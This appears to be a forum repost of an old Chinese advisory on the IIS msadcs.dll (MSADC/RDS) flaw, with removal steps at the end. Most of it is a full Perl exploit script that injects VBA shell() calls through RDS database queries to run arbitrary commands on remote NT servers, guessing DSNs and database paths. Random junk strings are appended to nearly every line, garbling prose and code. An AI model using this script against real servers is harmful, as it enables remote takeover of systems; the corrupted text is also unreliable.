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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) MP;7 u%   
73 D|gF*  
涉及程序: ,MuLu,$/  
Microsoft NT server OHM.xw*?.  
&{/ `Q ,  
描述: p>|;fS\`@}  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Fu{[5uv  
{ S4?L8  
详细: kM]?  
如果你没有时间读详细内容的话,就删除: XvZg!<*OH  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Q5{i#F7nJm  
有关的安全问题就没有了。 4+'yJ9~,B  
{u3^#kF  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Hc5@ gN  
h^?[:XBeav  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 u{tjB/K&  
关于利用ODBC远程漏洞的描述,请参看: @&mv4zz&W  
) dwPD  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm %HwPOEJ  
y%`^* E&  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 6hAeLlU1  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp r3_@ L>;  
lNls8@  
这里不再论述。 z Sj.Y{J  
nWmc  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Pm7,Nq)<>n  
mNWmp_c,1  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset @H1pPr  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! q8P| ]  
=n i&*&  
>umcpkp- h  
#将下面这段保存为txt文件,然后: "perl -x 文件名" lmQ!q>N  
  VG q'  
#!perl y<8)mw  
# R%8nR6iG"  
# MSADC/RDS 'usage' (aka exploit) script 9I+;waLlB  
# YJ. 'Yc  
# by rain.forest.puppy #B;`T[  
# -"<H$  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ATk>:^n  
# beta test and find errors! `c(,_o a{  
Rfeiv  
use Socket; use Getopt::Std; LL#7oBJdM  
getopts("e:vd:h:XR", \%args); gO gZ  
X./8 PK?&  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; % 7/XZQ  
-`&4>\o2Lx  
if (!defined $args{h} && !defined $args{R}) { ZQsE07  
print qq~ %Kd8ZNv  
Usage: msadc.pl -h <host> { -d <delay> -X -v } S-Ryt>G  
-h <host> = host you want to scan (ip or domain) vn6/H8  
-d <seconds> = delay between calls, default 1 second 5i83(>p3]e  
-X = dump Index Server path table, if available 2W$c%~j$2  
-v = verbose -gv@ .#N  
-e = external dictionary file for step 5 !94& Uk(O  
D8paIp  
Or a -R will resume a command session V-O49  
'nBJ[$2^  
~; exit;} IP-CN  
_ZC4O&fL  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; D0~WK stl  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} bhnm<RZ  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} m:/nw,  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); It(8s)5  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} )PB&w%J  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } {KdC5 1"Nv  
QE=Cum  
if (!defined $args{R}){ $ret = &has_msadc; *{)[:;  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} E)NH6 ~  
B`T|M$Ug  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" t A\N$  
. "cmd /c "; k2j:s}RHY  
$in=<STDIN>; chomp $in; q !EJs:AS  
$command="cmd /c " . $in ; t \Fc <  
nxA]EFS  
if (defined $args{R}) {&load; exit;} FOM~Uj  
@HMt}zD  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; :_p3nb[r  
&try_btcustmr; rcF;Lp :  
3k5Mty  
print "\nStep 2: Trying to make our own DSN..."; bxqXFy/I  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; F2AM/m^!q  
<E&1HeP  
print "\nStep 3: Trying known DSNs..."; Iwize,J~X  
&known_dsn; 9K Ih}Q@P  
pvDr&n9  
print "\nStep 4: Trying known .mdbs..."; HJ !)D~M{  
&known_mdb; zVGjXuNa  
wU2y<?$\8  
if (defined $args{e}){ ]Qkto4DQ5  
print "\nStep 5: Trying dictionary of DSN names..."; !5? #^q  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } nyw,Fu  
Zo-E0[9  
print "Sorry Charley...maybe next time?\n"; ^.nvX{H8~=  
exit; 7$8z}2  
jt S+y)2  
############################################################################## gD@ &/j7  
q4xB`G  
sub sendraw { # ripped and modded from whisker 67<zBw2  
sleep($delay); # it's a DoS on the server! At least on mine... 4)]g=-3  
my ($pstr)=@_; 8rGW G  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ^h1VCyoR*  
die("Socket problems\n"); N#bWMZ"  
if(connect(S,pack "SnA4x8",2,80,$target)){ (=QaAn,,R  
select(S); $|=1; 7 I&7YhFI  
print $pstr; my @in=<S>; v"F.<Q  
select(STDOUT); close(S); dt',)i8D  
return @in; &oWWc$  
} else { die("Can't connect...\n"); }} Hm-+1Wx  
})M$#%(  
############################################################################## |n}W^}S5  
mkk74NY  
sub make_header { # make the HTTP request c1jHg2xim  
my $msadc=<<EOT }2:bYpYQ  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 MN$j{+!Q  
User-Agent: ACTIVEDATA GH7{_@pv8  
Host: $ip m{JiF-=u  
Content-Length: $clen Bag2sk  
Connection: Keep-Alive E:D1ZV  
SV<*qz  
ADCClientVersion:01.06 v@XQ)95]F  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 bL)g+<:F  
_ZzN}!Mye  
--!ADM!ROX!YOUR!WORLD! Q= + Frsk  
Content-Type: application/x-varg &VY;Al  
Content-Length: $reqlen = <O{t#]  
+y6|Nq  
EOT zv@'x nY]  
; $msadc=~s/\n/\r\n/g; ojs&W]r0Z  
return $msadc;} q&<#)#+  
/q uf'CV}  
############################################################################## dsR{ P,!  
6x]|IWvW  
sub make_req { # make the RDS request N5}vy$t_P  
my ($switch, $p1, $p2)=@_; 1.p?P] .  
my $req=""; my $t1, $t2, $query, $dsn; ~9kvC&/{[  
htX'bA  
if ($switch==1){ # this is the btcustmr.mdb query CBnD)1b\  
$query="Select * from Customers where City=" . make_shell(); S82NU2L  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . hX`WVVoF  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ,RCjfX a  
\$?[>=<wB  
elsif ($switch==2){ # this is general make table query D8m?`^Zz  
$query="create table AZZ (B int, C varchar(10))"; E;VBoN [  
$dsn="$p1";} ;FMK>%Zq  
ZNOoyWYi5  
elsif ($switch==3){ # this is general exploit table query $C9<{zX   
$query="select * from AZZ where C=" . make_shell(); Co[[6pt~  
$dsn="$p1";} #xW%RF  
3[SN[faS  
elsif ($switch==4){ # attempt to hork file info from index server 2}$Vi$ R  
$query="select path from scope()"; c`doR(oZ  
$dsn="Provider=MSIDXS;";} UM|GX  
>B8)Wb :  
elsif ($switch==5){ # bad query 2mu~hJ  
$query="select"; f#eTi&w  
$dsn="$p1";} wS``Q8K+dM  
~q4DePVE  
$t1= make_unicode($query); l2VO=RDiW  
$t2= make_unicode($dsn); ;cp-jY_U  
$req = "\x02\x00\x03\x00"; O3bK>9<K  
$req.= "\x08\x00" . pack ("S1", length($t1)); `Jm{K*&8Q  
$req.= "\x00\x00" . $t1 ; oxO}m7 ULH  
$req.= "\x08\x00" . pack ("S1", length($t2)); :e+GtN?  
$req.= "\x00\x00" . $t2 ; e!tgWYN  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; &Ei dc .  
return $req;} a(x[+ El  
aCGPtA'  
############################################################################## i$"FUC~'  
& \<RVE  
sub make_shell { # this makes the shell() statement vbDw2  
return "'|shell(\"$command\")|'";}  o<Y|N   
3C_g)5 _:  
############################################################################## )@R:$l86  
}^`{YD  
sub make_unicode { # quick little function to convert to unicode Zr}`W \  
my ($in)=@_; my $out; pxI*vgfN7  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } M8KfC!  
return $out;} \M>AN Z}  
Q.z2 (&  
############################################################################## YLSG 5vF+  
3qpk Mu3  
sub rdo_success { # checks for RDO return success (this is kludge) Ql&P1|&  
my (@in) = @_; my $base=content_start(@in); OQ+?nB  
if($in[$base]=~/multipart\/mixed/){ *zX<`E  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} =_^g]?5i  
return 0;} ik8e  
et9 c<'  
############################################################################## hp,T(D|  
g:[&]o} :9  
sub make_dsn { # this makes a DSN for us 2mU}"gf[  
my @drives=("c","d","e","f"); 7DOAG[gH  
print "\nMaking DSN: "; ]"/ *7NM  
foreach $drive (@drives) { ,l0s(Cg  
print "$drive: "; GExG1n-  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ,P auP~L  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" NA/+bgyuT>  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); {F@;45)o  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; zh/+1  
return 0 if $2 eq "404"; # not found/doesn't exist Rx`0VQ  
if($2 eq "200") { J,7_5V@jJ  
foreach $line (@results) { a#uJzYB0  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 1"v;w!uh  
} return 0;} i3e|j(Gs4  
*,'"\n  
############################################################################## ]nfS vPb  
N"E\o,_  
sub verify_exists { ioa 1n=j  
my ($page)=@_; e}K;5o=I  
my @results=sendraw("GET $page HTTP/1.0\n\n"); P]6pPS  
return $results[0];} gvcT_'  
f^$\+H"W  
############################################################################## 4a!L/m *  
jU4Ir {f  
sub try_btcustmr { >@oO7<WB  
my @drives=("c","d","e","f"); S?Eg   
my @dirs=("winnt","winnt35","winnt351","win","windows"); 8De `.!Gg  
<m@U`RFm  
foreach $dir (@dirs) { F&c A!~  
print "$dir -> "; # fun status so you can see progress :"QRB#EC%  
foreach $drive (@drives) { |9_e2OwH  
print "$drive: "; # ditto !. 0W?6yo  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; X(WG:FP27  
$reqlenlen=length( "$reqlen" ); 6?,r d   
$clen= 206 + $reqlenlen + $reqlen; Q45rP4mQ  
O$&p<~  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); M2oKLRt)L  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} .pdgRjlSn  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Nm; ka&'  
Q2fa]*Z5  
############################################################################## MaMs(  
5@v!wms  
sub odbc_error { <?Lj!JGX  
my (@in)=@_; my $base; }'@*Olj  
my $base = content_start(@in); ~?L. n:wu  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this i, )kI  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; F'*{Fk h  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^3r2Q?d\  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; z ,ledTl  
return $in[$base+4].$in[$base+5].$in[$base+6];} l|uN-{ w  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";  MT&i5!Z  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . YEZ"BgUnbp  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ]I}' [D  
L3kms6ch  
############################################################################## [e*8hbS  
RKBtwZx>f  
sub verbose { sF<4uy  
my ($in)=@_; zF{ z_c#3@  
return if !$verbose; i\t4TdEx(  
print STDOUT "\n$in\n";} nKHyq\  
wiFckF/  
##############################################################################  z!F?#L5  
t;4{l`dk  
sub save { |bBYJ  
my ($p1, $p2, $p3, $p4)=@_; ZAiQofQ:2  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; leyX: +  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; &j>`H:  
close OUT;} P"xP%zqo  
=)T5Y,+rJ  
############################################################################## rsc8lSjH  
z{%G  
sub load { c3Mql+@  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; s\KV\5\o  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); e{?~ m6  
@p=<IN>; close(IN); 5q8bM.k\7N  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ].Et&v  
$target= inet_aton($ip) || die("inet_aton problems"); \?GMtM,  
print "Resuming to $ip ..."; 3-Ti'xM  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 7%?A0%>6G  
if($p[1]==1) { y t<K!=7&  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ^ 5UIbA(  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; icnp^2P  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); $:<KG&Br  
if (rdo_success(@results)){print "Success!\n";} #=zh&`  
else { print "failed\n"; verbose(odbc_error(@results));}} IPY@9+]  
elsif ($p[1]==3){ M<)HJ lr  
if(run_query("$p[3]")){ #nu?b?X'  
print "Success!\n";} else { print "failed\n"; }} fYH%vr)  
elsif ($p[1]==4){ fo5!d@Nv  
if(run_query($drvst . "$p[3]")){ ikofJl]9  
print "Success!\n"; } else { print "failed\n"; }} jmAWto}.  
exit;} ?5+=  
jt;,7Ek  
############################################################################## /O&j1g@  
gN(8T_r  
sub create_table { \6sp"KqP  
my ($in)=@_; eR;cl$  
$reqlen=length( make_req(2,$in,"") ) - 28; RE*SdazY?  
$reqlenlen=length( "$reqlen" ); /gPn2e;  
$clen= 206 + $reqlenlen + $reqlen; 3 D+dM0wM  
my @results=sendraw(make_header() . make_req(2,$in,"")); >S!QvyM(V  
return 1 if rdo_success(@results); \a}%/_M\  
my $temp= odbc_error(@results); verbose($temp); ffSecoX  
return 1 if $temp=~/Table 'AZZ' already exists/; Rr:,'cXGi  
return 0;} //AS44^IS  
#5'9T:8  
############################################################################## !qy/'v4  
:.Np7[~{  
sub known_dsn { 'KXvn0  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go #Ok*O r  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", *xt3mv/<z  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", OHH wcJ7N  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); -,p(PK  
\]o#tYN\a0  
foreach $dSn (@dsns) { yyBy|7QgO  
print "."; :;]6\/ky  
next if (!is_access("DSN=$dSn")); QZzi4[-as  
if(create_table("DSN=$dSn")){ U*,5t81  
print "$dSn successful\n"; {HQ?  
if(run_query("DSN=$dSn")){ NPKRX Li%  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { U?H!:?,C  
print "Something's borked. Use verbose next time\n";}}} print "\n";} _ea!psA0  
+Pn+&o;D  
############################################################################## UB=I>  
]JtK)9  
sub is_access { :uqsRFo&4  
my ($in)=@_; V~ZAs+(2Z  
$reqlen=length( make_req(5,$in,"") ) - 28; Bm.%bA>  
$reqlenlen=length( "$reqlen" ); &|55:Y87  
$clen= 206 + $reqlenlen + $reqlen; 5H>[@_u+:  
my @results=sendraw(make_header() . make_req(5,$in,"")); l*/I ; a$  
my $temp= odbc_error(@results); @@_f''f$  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); {3!v<CY'  
return 0;} H}X3nl\]  
k%Jw S_F  
############################################################################## q]<cn2  
gNN{WFHQX:  
sub run_query { @e+QGd;}  
my ($in)=@_; p)Z$q2L  
$reqlen=length( make_req(3,$in,"") ) - 28; g)2}`}  
$reqlenlen=length( "$reqlen" ); =3l%ZL/  
$clen= 206 + $reqlenlen + $reqlen; "M1[@xog  
my @results=sendraw(make_header() . make_req(3,$in,"")); }<A\>  
return 1 if rdo_success(@results); 91e&-acA  
my $temp= odbc_error(@results); verbose($temp); 3fM~R+p  
return 0;} $^d,>hJi  
Xb3z<r   
############################################################################## L)J0T Sh  
E_7N^htv  
sub known_mdb { PJS\> N&u  
my @drives=("c","d","e","f","g"); =K}5 fe  
my @dirs=("winnt","winnt35","winnt351","win","windows"); IIs'm!"Y>  
my $dir, $drive, $mdb; WHMt$W}%  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; KK}^E_v  
x.~Z9j  
# this is sparse, because I don't know of many z4{ H=  
my @sysmdbs=( "\\catroot\\icatalog.mdb", M-"%4^8_  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", jBarYg  
"\\system32\\certmdb.mdb", Hj$JXo[U  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%  WOG=Uy$  
3<CCC+47  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", s9@/(_  
"\\cfusion\\cfapps\\forums\\forums_.mdb", t|%wVj?_  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", !A,]  
"\\cfusion\\cfapps\\security\\realm_.mdb", +A3@{ 2  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", CsJw;]dYI  
"\\cfusion\\database\\cfexamples.mdb", x{j|Tf3,G  
"\\cfusion\\database\\cfsnippets.mdb", J9zSBsp_  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", % sbDH  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", @|idlIey  
"\\cfusion\\brighttiger\\database\\cleam.mdb", "i(k8+i K  
"\\cfusion\\database\\smpolicy.mdb", }RDGk+x7|  
"\\cfusion\\database\cypress.mdb", nYLq%7}k  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", u-$(TyDEl|  
"\\website\\cgi-win\\dbsample.mdb", #\_N-bVu  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", |Xlpgdiu  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ZM`6z S!  
); #these are just xJ:15eDC  
foreach $drive (@drives) { {'NdN+_C  
foreach $dir (@dirs){ n GZZCsf <  
foreach $mdb (@sysmdbs) { %l( qyH)*  
print "."; #ih(I7prH  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ T'"aStt6  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; N p$pz  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ odD^xg"L  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; /ZUKt  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 9,sj,A1  
"k o?AUt  
foreach $drive (@drives) { 4siNY4i"  
foreach $mdb (@mdbs) { gu7mGHn-  
print ".";  pQKR  
if(create_table($drv . $drive . $dir . $mdb)){ #HfvY}[o  
print "\n" . $drive . $dir . $mdb . " successful\n"; z:{'IY  
if(run_query($drv . $drive . $dir . $mdb)){ waz)jEk  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; [I^>ji0V  
} else { print "Something's borked. Use verbose next time\n"; }}}} imv[xBA(d  
} <,$(,RX  
vd6Y'Zk|F6  
############################################################################## 0GK<l  
%QCh#v=ks  
sub hork_idx { @`^+XPK\  
print "\nAttempting to dump Index Server tables...\n"; 0&} "!)  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; B"ZW.jMaI  
$reqlen=length( make_req(4,"","") ) - 28; 8*-8"It<"  
$reqlenlen=length( "$reqlen" ); tpwMy:<Ex  
$clen= 206 + $reqlenlen + $reqlen; 7O^ySy"l  
my @results=sendraw2(make_header() . make_req(4,"","")); -,C">T%\  
if (rdo_success(@results)){ D6=Z%h\*  
my $max=@results; my $c; my %d; L0H;y6&  
for($c=19; $c<$max; $c++){ F[BJhN*]a  
$results[$c]=~s/\x00//g; $1y8gm  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; B&ItA76  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; SSEK9UX  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; iZ}  w>1  
$d{"$1$2"}="";} BU(:6  
foreach $c (keys %d){ print "$c\n"; } xb1 i{d  
} else {print "Index server doesn't seem to be installed.\n"; }} >~8;H x].d  
;[V_w/-u  
############################################################################## _w0t+=&  
CZe0kH^:{  
sub dsn_dict { RY3ANEu+  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); /Uth#s:  
while(<IN>){ Ab ,n^  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; :vZ8n6J[  
next if (!is_access("DSN=$dSn")); ? FGzw  
if(create_table("DSN=$dSn")){ J6r"_>)z  
print "$dSn successful\n"; bw\fKZ  
if(run_query("DSN=$dSn")){ &MKG#Y}  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 3z';Zwz &X  
print "Something's borked. Use verbose next time\n";}}} +LuGjDn0  
print "\n"; close(IN);} EhL 8rR  
ofH=h  
############################################################################## ^m8T$^z>  
Dvbrpn!sk  
sub sendraw2 { # ripped and modded from whisker q1}HsTnBH  
sleep($delay); # it's a DoS on the server! At least on mine... g`I`q3EF)  
my ($pstr)=@_;  yV[9 (  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || "Ah (EZAR  
die("Socket problems\n"); l$N b1&  
if(connect(S,pack "SnA4x8",2,80,$target)){ #-*7<wN   
print "Connected. Getting data"; sLrSi  
open(OUT,">raw.out"); my @in; Z M_ 6A1  
select(S); $|=1; print $pstr; ywWF+kR_  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} qKNX^n;  
close(OUT); select(STDOUT); close(S); return @in; VOr*YB&  
} else { die("Can't connect...\n"); }} mO<sw  
wTb7 xBI  
############################################################################## Whp;wAz  
B7BXS*_b  
sub content_start { # this will take in the server headers s3@sX_2  
my (@in)=@_; my $c; t>.1,'zb  
for ($c=1;$c<500;$c++) { [!1z; /  
if($in[$c] =~/^\x0d\x0a/){ 29]-s Utqv  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 3 r4QB  
else { return $c+1; }}} k]?M^jrm  
return -1;} # it should never get here actually tl9=u-D13@  
Mwp[?#1j  
############################################################################## y"q7Gx*^j  
,S[,F0"%  
sub funky { j}$dYbf$  
my (@in)=@_; my $error=odbc_error(@in); WwG +Xa  
if($error=~/ADO could not find the specified provider/){ jR-DH]@y  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; &S[tI$  
exit;} o_; pEe  
if($error=~/A Handler is required/){ J%}9"Q5  
print "\nServer has custom handler filters (they most likely are patched)\n"; <q|IP_  
exit;} Q M7z .  
if($error=~/specified Handler has denied Access/){ AKs=2N> 7  
print "\nServer has custom handler filters (they most likely are patched)\n"; C$Pe<C#  
exit;}} 2ED^uc: 0S  
gSLwpIK%  
############################################################################## 5dOA^P@`,M  
%.^8&4$+  
sub has_msadc { Xb +)@Y4h  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); b[p<kMTir  
my $base=content_start(@results); ;ELQIHnD"  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); DwM4/m  
return 0;} (}E-+:vFU  
U U!M/QJ  
######################## vQf'lEFk  
FD>j\  
Zkl:^!*  
解决方案: rK&ofc]f$  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll $jMU| {  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 #k? Rl  
s '%KKC  
拿出来充数 哈哈
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